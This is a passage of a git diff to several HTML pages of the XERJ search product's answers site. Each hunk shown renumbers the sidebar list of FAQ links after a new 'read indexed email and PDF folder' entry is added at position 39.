class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/code-search-mcp-for-claude-code.html b/landing/answers/code-search-mcp-for-claude-code.htmlindex 3c45730d7..6a5d8cb1b 100644--- a/landing/answers/code-search-mcp-for-claude-code.html+++ b/landing/answers/code-search-mcp-for-claude-code.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/coding-agent-memory-across-sessions.html b/landing/answers/coding-agent-memory-across-sessions.htmlindex e0a7ee881..ce6cc1ae2 100644--- a/landing/answers/coding-agent-memory-across-sessions.html+++ b/landing/answers/coding-agent-memory-across-sessions.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 bucket?</a>+ <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">56</span>How do I keep an index current when the files live in an object store?</a>+ <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">57</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>+ <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">58</span>How do I estimate folder-indexing time?</a>+ <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">59</span>Why would a folder search miss files that I can see on disk?</a>+ <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">60</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>+ <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">61</span>The indexer exited 3 (or 4). Did it fail?</a>+ <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">62</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>+ <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">63</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>+ <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">64</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>+ <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">65</span>Is there a single-binary local search engine I can just run?</a>+ <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">66</span>What can I use for low-volume log search?</a>+ <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">67</span>How do I read autoindex progress?</a>+ <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">68</span>The indexer died overnight. Do I have to start over?</a>+ <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">69</span>Reindexing my files is taking forever. What usually causes that?</a>+ <a href="/answers/what-is-xerj" class=""><span class="eyebrow">70</span>What is XERJ?</a>+ <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">71</span>How do I improve a basic FAISS RAG pipeline?</a>+ <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">72</span>Why did my filtered vector search get slower when I added a filter?</a>+ <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">73</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>+ <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">74</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>+ <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">75</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>+ <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">76</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a></div><div class="group"><span class="label">COMPARISONS</span>diff --git a/landing/answers/do-search-embeddings-help.html b/landing/answers/do-search-embeddings-help.htmlindex 42ae899f8..7d49904f6 100644--- a/landing/answers/do-search-embeddings-help.html+++ b/landing/answers/do-search-embeddings-help.html@@ -179,43 +179,44 @@<a href="/answers/index-multiple-csv-files" class=""><span class="eyebrow">36</span>I have a directory of CSV exports. How do I query them without opening each one in Excel?</a><a href="/answers/search-file-contents-in-a-folder" class=""><span class="eyebrow">37</span>I have a folder of PDFs, Word docs, and markdown. How do I search all of them at once?</a><a href="/answers/search-zendesk-ticket-json-export" class=""><span class="eyebrow">38</span>I have a JSON export of Jira issues (or Zendesk tickets). How do I search it like a help-center search?</a>- <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">39</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>- <a href="/answers/search-html-export" class=""><span class="eyebrow">40</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>- <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">41</span>Is it efficient to index PDF files?</a>- <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">42</span>Is there a way to full-text search my browser history file itself?</a>- <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">43</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>- <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">44</span>What's the best way to search markdown notes and PDFs in the same vault?</a>- <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">45</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>- <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">46</span>Why does my Notion export duplicate titles?</a>- <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">47</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>- <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">48</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>- <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">49</span>How do I build RAG without a vector database?</a>- <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">50</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>- <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">51</span>How do I rerank search results with a calibrated relevance judge?</a>- <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">52</span>What is Reciprocal Rank Fusion?</a>- <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">53</span>How does XERJ combine BM25 and kNN?</a>- <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">54</span>How do I search files that live in an S3 bucket?</a>- <a href="/answers/keep-s3-bucket-index-current" class=""><span class="eyebrow">55</span>How do I keep an index current when the files live in an object store?</a>- <a href="/answers/check-codebase-index-is-complete" class=""><span class="eyebrow">56</span>My codebase indexer says indexed but I don't see my code. How do I check it actually finished?</a>- <a href="/answers/estimate-autoindex-time-before-running" class=""><span class="eyebrow">57</span>How do I estimate folder-indexing time?</a>- <a href="/answers/why-autoindex-skipped-files" class=""><span class="eyebrow">58</span>Why would a folder search miss files that I can see on disk?</a>- <a href="/answers/autoindex-dataset-refused-by-server" class=""><span class="eyebrow">59</span>One dataset was REFUSED by the server. Did I lose the whole index?</a>- <a href="/answers/autoindex-exit-codes" class=""><span class="eyebrow">60</span>The indexer exited 3 (or 4). Did it fail?</a>- <a href="/answers/autoindex-server-back-pressure-429" class=""><span class="eyebrow">61</span>The server pushed back with HTTP 429. Did xerj autoindex lose the run?</a>- <a href="/answers/autoindex-says-extract-the-archive-first" class=""><span class="eyebrow">62</span>xerj autoindex recorded my Takeout .zip as junk and said to extract it first. Why?</a>- <a href="/answers/keep-index-current-as-files-change" class=""><span class="eyebrow">63</span>How do I keep a search index up to date as files change, without re-indexing everything?</a>- <a href="/answers/search-engine-without-docker" class=""><span class="eyebrow">64</span>Is there a single-binary local search engine I can just run?</a>- <a href="/answers/cheap-low-volume-log-search" class=""><span class="eyebrow">65</span>What can I use for low-volume log search?</a>- <a href="/answers/read-autoindex-progress" class=""><span class="eyebrow">66</span>How do I read autoindex progress?</a>- <a href="/answers/resume-interrupted-autoindex-run" class=""><span class="eyebrow">67</span>The indexer died overnight. Do I have to start over?</a>- <a href="/answers/reindex-taking-forever" class=""><span class="eyebrow">68</span>Reindexing my files is taking forever. What usually causes that?</a>- <a href="/answers/what-is-xerj" class=""><span class="eyebrow">69</span>What is XERJ?</a>- <a href="/answers/improve-basic-faiss-rag-pipeline" class=""><span class="eyebrow">70</span>How do I improve a basic FAISS RAG pipeline?</a>- <a href="/answers/filter-knn-exact-scan-caveat" class=""><span class="eyebrow">71</span>Why did my filtered vector search get slower when I added a filter?</a>- <a href="/answers/vector-database-vs-full-text-search" class=""><span class="eyebrow">72</span>What's the actual difference between a vector database and full-text search when I have a folder?</a>- <a href="/answers/share-folder-read-only-search-without-uploading" class=""><span class="eyebrow">73</span>How do I give my lawyer or accountant read-only search over a folder of email and PDFs without uploading it?</a>- <a href="/answers/share-local-search-index-through-a-tunnel" class=""><span class="eyebrow">74</span>How do I let someone outside my network search an index on my laptop without opening a port?</a>- <a href="/answers/what-a-share-link-guest-can-reach" class=""><span class="eyebrow">75</span>If I share one index with a link and a passcode, what can that person actually reach on my node?</a>+ <a href="/answers/read-indexed-email-and-pdf-folder" class=""><span class="eyebrow">39</span>I indexed a folder of email and PDFs. How do I actually read what it found?</a>+ <a href="/answers/search-jupyter-notebook-cells" class=""><span class="eyebrow">40</span>I need to find a function I wrote in a notebook months ago. How do I search all .ipynb files and the .py next to them?</a>+ <a href="/answers/search-html-export" class=""><span class="eyebrow">41</span>I saved a help-center as HTML. How do I search it like the real help-center search?</a>+ <a href="/answers/is-pdf-indexing-efficient" class=""><span class="eyebrow">42</span>Is it efficient to index PDF files?</a>+ <a href="/answers/full-text-search-browser-history" class=""><span class="eyebrow">43</span>Is there a way to full-text search my browser history file itself?</a>+ <a href="/answers/search-openapi-spec-for-agent" class=""><span class="eyebrow">44</span>My agent needs to look up endpoints in a big OpenAPI spec and the SDK markdown. What's the right way?</a>+ <a href="/answers/search-obsidian-pdf-docx-attachments" class=""><span class="eyebrow">45</span>What's the best way to search markdown notes and PDFs in the same vault?</a>+ <a href="/answers/search-json-and-jsonl-logs" class=""><span class="eyebrow">46</span>What's the easiest way to search JSON logs plus some old gzip text logs in the same folder?</a>+ <a href="/answers/notion-export-duplicate-search-results" class=""><span class="eyebrow">47</span>Why does my Notion export duplicate titles?</a>+ <a href="/answers/search-gmail-takeout-mbox-locally" class=""><span class="eyebrow">48</span>I exported my Gmail with Google Takeout. How do I search that mbox file locally?</a>+ <a href="/answers/how-xerj-autoindexes-a-folder" class=""><span class="eyebrow">49</span>I want to point something at a folder and then ask questions about what's in it. What should I use?</a>+ <a href="/answers/rag-without-vector-database" class=""><span class="eyebrow">50</span>How do I build RAG without a vector database?</a>+ <a href="/answers/hybrid-search-quality-measured-ndcg" class=""><span class="eyebrow">51</span>How much better is hybrid search than BM25? Measured nDCG numbers</a>+ <a href="/answers/rerank-search-results-calibrated-judge" class=""><span class="eyebrow">52</span>How do I rerank search results with a calibrated relevance judge?</a>+ <a href="/answers/reciprocal-rank-fusion-when-to-use" class=""><span class="eyebrow">53</span>What is Reciprocal Rank Fusion?</a>+ <a href="/answers/how-xerj-combines-search" class=""><span class="eyebrow">54</span>How does XERJ combine BM25 and kNN?</a>+ <a href="/answers/search-files-in-an-s3-bucket" class=""><span class="eyebrow">55</span>How do I search files that live in an S3 